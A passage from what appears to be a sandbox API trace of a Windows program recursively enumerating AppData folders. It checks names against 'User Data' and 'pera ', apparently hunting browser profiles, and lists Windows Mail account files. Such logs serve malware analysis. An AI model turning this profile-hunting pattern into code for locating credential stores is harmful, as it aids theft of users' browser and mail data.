lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x796be670, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xb1ed8fe0, ftLastAccessTime.dwHighDateTime=0x1d73a91, ftLastWriteTime.dwLowDateTime=0xb1ed8fe0, ftLastWriteTime.dwHighDateTime=0x1d73a91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0264.254] lstrcmpW (lpString1="Windows", lpString2="User Data") returned 1 [0264.254] StrStrW (lpFirst="Windows", lpSrch="pera ") returned 0x0 [0264.255] lstrlenW (lpString=0x0) returned 0 [0264.255] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft") returned 42 [0264.255] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x796be670, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xb1ed8fe0, ftLastAccessTime.dwHighDateTime=0x1d73a91, ftLastWriteTime.dwLowDateTime=0xb1ed8fe0, ftLastWriteTime.dwHighDateTime=0x1d73a91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.255] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.255] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.255] lstrlenW (lpString=0x0) returned 0 [0264.255] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x796be670, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xb1ed8fe0, ftLastAccessTime.dwHighDateTime=0x1d73a91, ftLastWriteTime.dwLowDateTime=0xb1ed8fe0, ftLastWriteTime.dwHighDateTime=0x1d73a91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.255] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.255] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.255] lstrlenW (lpString=0x0) returned 0 [0264.255] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x107d8460, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x10aabe80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x10aabe80, ftLastWriteTime.dwHighDateTime=0x1d706a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0264.255] lstrcmpW (lpString1="1033", lpString2="User Data") returned -1 [0264.255] StrStrW (lpFirst="1033", lpSrch="pera ") returned 0x0 [0264.255] lstrlenW (lpString=0x0) returned 0 [0264.255] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows") returned 50 [0264.255] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798152d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x9d9f9b40, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x9d9f9b40, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Burn", cAlternateFileName="")) returned 1 [0264.255] lstrcmpW (lpString1="Burn", lpString2="User Data") returned -1 [0264.255] StrStrW (lpFirst="Burn", lpSrch="pera ") returned 0x0 [0264.256] lstrlenW (lpString=0x0) returned 0 [0264.256] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows") returned 50 [0264.256] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x798152d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x5c874f80, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x5c874f80, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1 [0264.256] lstrcmpW (lpString1="Caches", lpString2="User Data") returned -1 [0264.256] StrStrW (lpFirst="Caches", lpSrch="pera ") returned 0x0 [0264.256] lstrlenW (lpString=0x0) returned 0 [0264.256] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows") returned 50 [0264.256] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x797ef170, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b34fb0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x182897a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Explorer", cAlternateFileName="")) returned 1 [0264.256] lstrcmpW (lpString1="Explorer", lpString2="User Data") returned -1 [0264.256] StrStrW (lpFirst="Explorer", lpSrch="pera ") returned 0x0 [0264.256] lstrlenW (lpString=0x0) returned 0 [0264.256] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows") returned 50 [0264.256] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x797ef170, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x797ef170, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="GAMEEX~1")) returned 1 [0264.256] lstrcmpW (lpString1="GameExplorer", lpString2="User Data") returned -1 [0264.256] StrStrW (lpFirst="GameExplorer", lpSrch="pera ") returned 0x0 [0264.256] lstrlenW (lpString=0x0) returned 0 [0264.256] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows") returned 50 [0264.256] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x797c9010, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b34fb0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1 [0264.256] lstrcmpW (lpString1="History", lpString2="User Data") returned -1 [0264.256] StrStrW (lpFirst="History", lpSrch="pera ") returned 0x0 [0264.256] lstrlenW (lpString=0x0) returned 0 [0264.256] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows") returned 50 [0264.256] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb1ed8fe0, ftCreationTime.dwHighDateTime=0x1d73a91, ftLastAccessTime.dwLowDateTime=0xa18da600, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0xa18da600, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShell", cAlternateFileName="POWERS~1")) returned 1 [0264.256] lstrcmpW (lpString1="PowerShell", lpString2="User Data") returned -1 [0264.256] StrStrW (lpFirst="PowerShell", lpSrch="pera ") returned 0x0 [0264.257] lstrlenW (lpString=0x0) returned 0 [0264.257] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows") returned 50 [0264.257] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7977cd50, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7977cd50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="RINGTO~1")) returned 1 [0264.257] lstrcmpW (lpString1="Ringtones", lpString2="User Data") returned -1 [0264.257] StrStrW (lpFirst="Ringtones", lpSrch="pera ") returned 0x0 [0264.257] lstrlenW (lpString=0x0) returned 0 [0264.257] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows") returned 50 [0264.257] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x796e47d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xb10c4320, ftLastAccessTime.dwHighDateTime=0x1d7b064, ftLastWriteTime.dwLowDateTime=0xb10c4320, ftLastWriteTime.dwHighDateTime=0x1d7b064, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 1 [0264.257] lstrcmpW (lpString1="Temporary Internet Files", lpString2="User Data") returned -1 [0264.257] StrStrW (lpFirst="Temporary Internet Files", lpSrch="pera ") returned 0x0 [0264.257] lstrlenW (lpString=0x0) returned 0 [0264.257] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows") returned 50 [0264.257] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd49789d0, ftCreationTime.dwHighDateTime=0x1d72469, ftLastAccessTime.dwLowDateTime=0xd49789d0, ftLastAccessTime.dwHighDateTime=0x1d72469, ftLastWriteTime.dwLowDateTime=0xd49789d0, ftLastWriteTime.dwHighDateTime=0x1d72469, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Themes", cAlternateFileName="")) returned 1 [0264.257] lstrcmpW (lpString1="Themes", lpString2="User Data") returned -1 [0264.257] StrStrW (lpFirst="Themes", lpSrch="pera ") returned 0x0 [0264.257] lstrlenW (lpString=0x0) returned 0 [0264.257] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows") returned 50 [0264.257] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x79b0ee50, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x33c420a0, ftLastAccessTime.dwHighDateTime=0x1d8a73e, ftLastWriteTime.dwLowDateTime=0x356fb140, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsrClass.dat", cAlternateFileName="")) returned 1 [0264.257] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b0ee50, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b0ee50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x356d4fe0, ftLastWriteTime.dwHighDateTime=0x1d8a8cd, nFileSizeHigh=0x0, nFileSizeLow=0x40000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsrClass.dat.LOG1", cAlternateFileName="USRCLA~2.LOG")) returned 1 [0264.257] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79b0ee50, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79b0ee50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9c5705f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsrClass.dat.LOG2", cAlternateFileName="USRCLA~1.LOG")) returned 1 [0264.257] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79ae8cf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ae8cf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x962222ec, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TM.blf", cAlternateFileName="USRCLA~1.BLF")) returned 1 [0264.257] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79ae8cf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ae8cf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="USRCLA~2.REG")) returned 1 [0264.257] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x79ae8cf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ae8cf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x961fc18b, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="UsrClass.dat{0f6d7aa7-f51a-11df-ae0e-001d09f21116}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="USRCLA~1.REG")) returned 1 [0264.257] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x796be670, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796e47d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1 [0264.257] lstrcmpW (lpString1="WER", lpString2="User Data") returned 1 [0264.258] StrStrW (lpFirst="WER", lpSrch="pera ") returned 0x0 [0264.258] lstrlenW (lpString=0x0) returned 0 [0264.258] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows") returned 50 [0264.258] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x796be670, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796e47d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 0 [0264.258] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.258] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8cddad0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8d03c30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8d03c30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~4")) returned 1 [0264.258] lstrcmpW (lpString1="Windows Live", lpString2="User Data") returned 1 [0264.258] StrStrW (lpFirst="Windows Live", lpSrch="pera ") returned 0x0 [0264.258] lstrlenW (lpString=0x0) returned 0 [0264.258] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft") returned 42 [0264.258] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows Live\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows live\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8cddad0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8d03c30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8d03c30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.266] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.266] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.266] lstrlenW (lpString=0x0) returned 0 [0264.266] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8cddad0, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xe8d03c30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xe8d03c30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.266] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.266] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.266] lstrlenW (lpString=0x0) returned 0 [0264.266] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d03c30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf52e20f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf52e20f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bici", cAlternateFileName="")) returned 1 [0264.266] lstrcmpW (lpString1="Bici", lpString2="User Data") returned -1 [0264.266] StrStrW (lpFirst="Bici", lpSrch="pera ") returned 0x0 [0264.266] lstrlenW (lpString=0x0) returned 0 [0264.266] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows Live") returned 55 [0264.266] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8d03c30, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xf52e20f0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf52e20f0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bici", cAlternateFileName="")) returned 0 [0264.266] FindClose (in: hFindFile=0x6ca500 | out: hFindFile=0x6ca500) returned 1 [0264.266] FindNextFileW (in: hFindFile=0x6ca440, lpFindFileData=0x24f428 | out: lpFindFileData=0x24f428*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x796be670, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7d4ee530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7d4ee530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~3")) returned 1 [0264.267] lstrcmpW (lpString1="Windows Mail", lpString2="User Data") returned 1 [0264.267] StrStrW (lpFirst="Windows Mail", lpSrch="pera ") returned 0x0 [0264.267] lstrlenW (lpString=0x0) returned 0 [0264.267] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft") returned 42 [0264.267] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows Mail\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\microsoft\\windows mail\\*"), lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x796be670, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7d4ee530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7d4ee530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ca500 [0264.270] lstrcmpW (lpString1=".", lpString2="User Data") returned -1 [0264.270] StrStrW (lpFirst=".", lpSrch="pera ") returned 0x0 [0264.270] lstrlenW (lpString=0x0) returned 0 [0264.270] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x796be670, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7d4ee530, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7d4ee530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0264.270] lstrcmpW (lpString1="..", lpString2="User Data") returned -1 [0264.270] StrStrW (lpFirst="..", lpSrch="pera ") returned 0x0 [0264.270] lstrlenW (lpString=0x0) returned 0 [0264.270] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79ae8cf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ae8cf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x5e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", cAlternateFileName="ACCOUN~3.OEA")) returned 1 [0264.270] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79ae8cf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ae8cf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf657b4d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x2a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", cAlternateFileName="ACCOUN~2.OEA")) returned 1 [0264.270] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79ae8cf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ae8cf0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf67b6975, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x6c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", cAlternateFileName="ACCOUN~1.OEA")) returned 1 [0264.270] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x796be670, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x796be670, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf303882f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Backup", cAlternateFileName="")) returned 1 [0264.270] lstrcmpW (lpString1="Backup", lpString2="User Data") returned -1 [0264.270] StrStrW (lpFirst="Backup", lpSrch="pera ") returned 0x0 [0264.271] lstrlenW (lpString=0x0) returned 0 [0264.271] lstrlenW (lpString="C:\\Users\\kEecfMwgj\\AppData\\Local\\Microsoft\\Windows Mail") returned 55 [0264.271] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79ac2b90, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79ac2b90, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7d53a7f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.chk", cAlternateFileName="")) returned 1 [0264.271] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79a9ca30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a9ca30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7d53a7f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x200000, dwReserved0=0x0, dwReserved1=0x0, cFileName="edb.log", cAlternateFileName="")) returned 1 [0264.271] FindNextFileW (in: hFindFile=0x6ca500, lpFindFileData=0x24efa0 | out: lpFindFileData=0x24efa0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x79a768d0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x79a768d0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf2b29966, ftLastWriteTime.dwHighDateTime=0x1cb8926, 